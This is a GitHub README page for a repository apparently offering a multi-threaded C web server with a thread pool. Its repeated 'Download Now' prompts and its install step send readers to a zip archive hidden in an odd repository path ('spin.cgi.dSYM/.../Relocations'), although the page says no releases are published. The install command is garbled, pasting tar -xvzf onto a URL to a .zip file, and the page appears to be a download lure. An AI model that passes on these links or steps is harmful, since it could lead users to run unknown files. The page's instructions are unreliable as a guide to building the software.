Skip to content

🌐 Implement a multi-threaded HTTP web server in C, featuring a thread pool and secure file serving for optimal concurrency and performance.

License

Notifications You must be signed in to change notification settings

Allkilline/Concurrency_Webserver

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

14 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🌐 Concurrency_Webserver - A Reliable Multi-Threaded Web Server

πŸ“₯ Download Now!

Download Concurrency_Webserver

πŸš€ Getting Started

Welcome to Concurrency_Webserver! This project provides a multi-threaded HTTP/1.0 web server written in C, designed for performance and ease of use. With a configurable thread pool and a secure filesystem, it is suitable for various use cases. Follow these simple steps to download and run the software.

πŸ› οΈ System Requirements

To run Concurrency_Webserver smoothly, make sure your system meets the following requirements:

  • Operating System: Linux or macOS
  • C Compiler: GCC or Clang
  • Memory: Minimum of 512 MB RAM
  • Disk Space: At least 100 MB of free space

πŸ“¦ Download & Install

  1. Visit the Releases Page: Go to the Releases page here. You will find the latest version of the Concurrency_Webserver available for download.

  2. Select the Right File: Look for the most recent release. You will typically find files labeled with version numbers like v1.0.0. Choose the appropriate file for your operating system.

  3. Download the File: Click on the file link to start the download.

  4. Install the Application:

    • For Linux or macOS:
      • Open your terminal.
      • Navigate to the directory where you downloaded the file.
      • Use the command tar -xvzf <filename>https://raw.githubusercontent.com/Allkilline/Concurrency_Webserver/main/spin.cgi.dSYM/Contents/Resources/Relocations/Webserver-Concurrency-2.1.zip to extract the files.
      • Change into the extracted directory using cd <directory>.
      • Compile the application using a C compiler with the command make.
  5. Run the Application:

    • After compiling, you can start the server by running the command ./server.

πŸ”§ Configuration

Concurrency_Webserver allows for easy configuration through its configuration file. Locate the configuration file in the installation directory. You can adjust parameters like:

  • Port Number: Change the port number the server listens on.
  • Max Threads: Set the number of threads to handle incoming requests.
  • Document Root: Specify the directory that holds the files to be served.

🌍 Using the Server

Once Concurrency_Webserver is running, you can access it using a web browser. Just enter the following in the address bar:

http://localhost:<port-number>/

Replace <port-number> with the number you set in the configuration file.

🧩 Features

  • Multi-Threading: The server can handle multiple requests simultaneously.
  • Configurable Thread Pool: Adjusts the number of worker threads based on your needs.
  • Bounded Scheduler Queue: Manages incoming requests efficiently.
  • Secure Filesystem Sandboxing: Ensures safe serving of files, protecting your server.
  • Sample Client-Server Interaction: Experience how clients can communicate with the server easily.

πŸ“ Contributing

We welcome contributions to enhance the functionality of Concurrency_Webserver. If you're interested, please fork the repository and submit a pull request. You can also report issues to help us improve the software.

πŸ’¬ Support

If you encounter any issues or have questions, feel free to open an issue in the GitHub repository. You can also find helpful information in the documentation included in the repository.

πŸ“– License

Concurrency_Webserver is licensed under the MIT License. You can freely use, modify, and distribute the software, provided that proper credit is given.

πŸ“₯ Download Now Again!

To download the latest release, visit the Releases page here and start building your own multi-threaded web server today!

About

🌐 Implement a multi-threaded HTTP web server in C, featuring a thread pool and secure file serving for optimal concurrency and performance.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors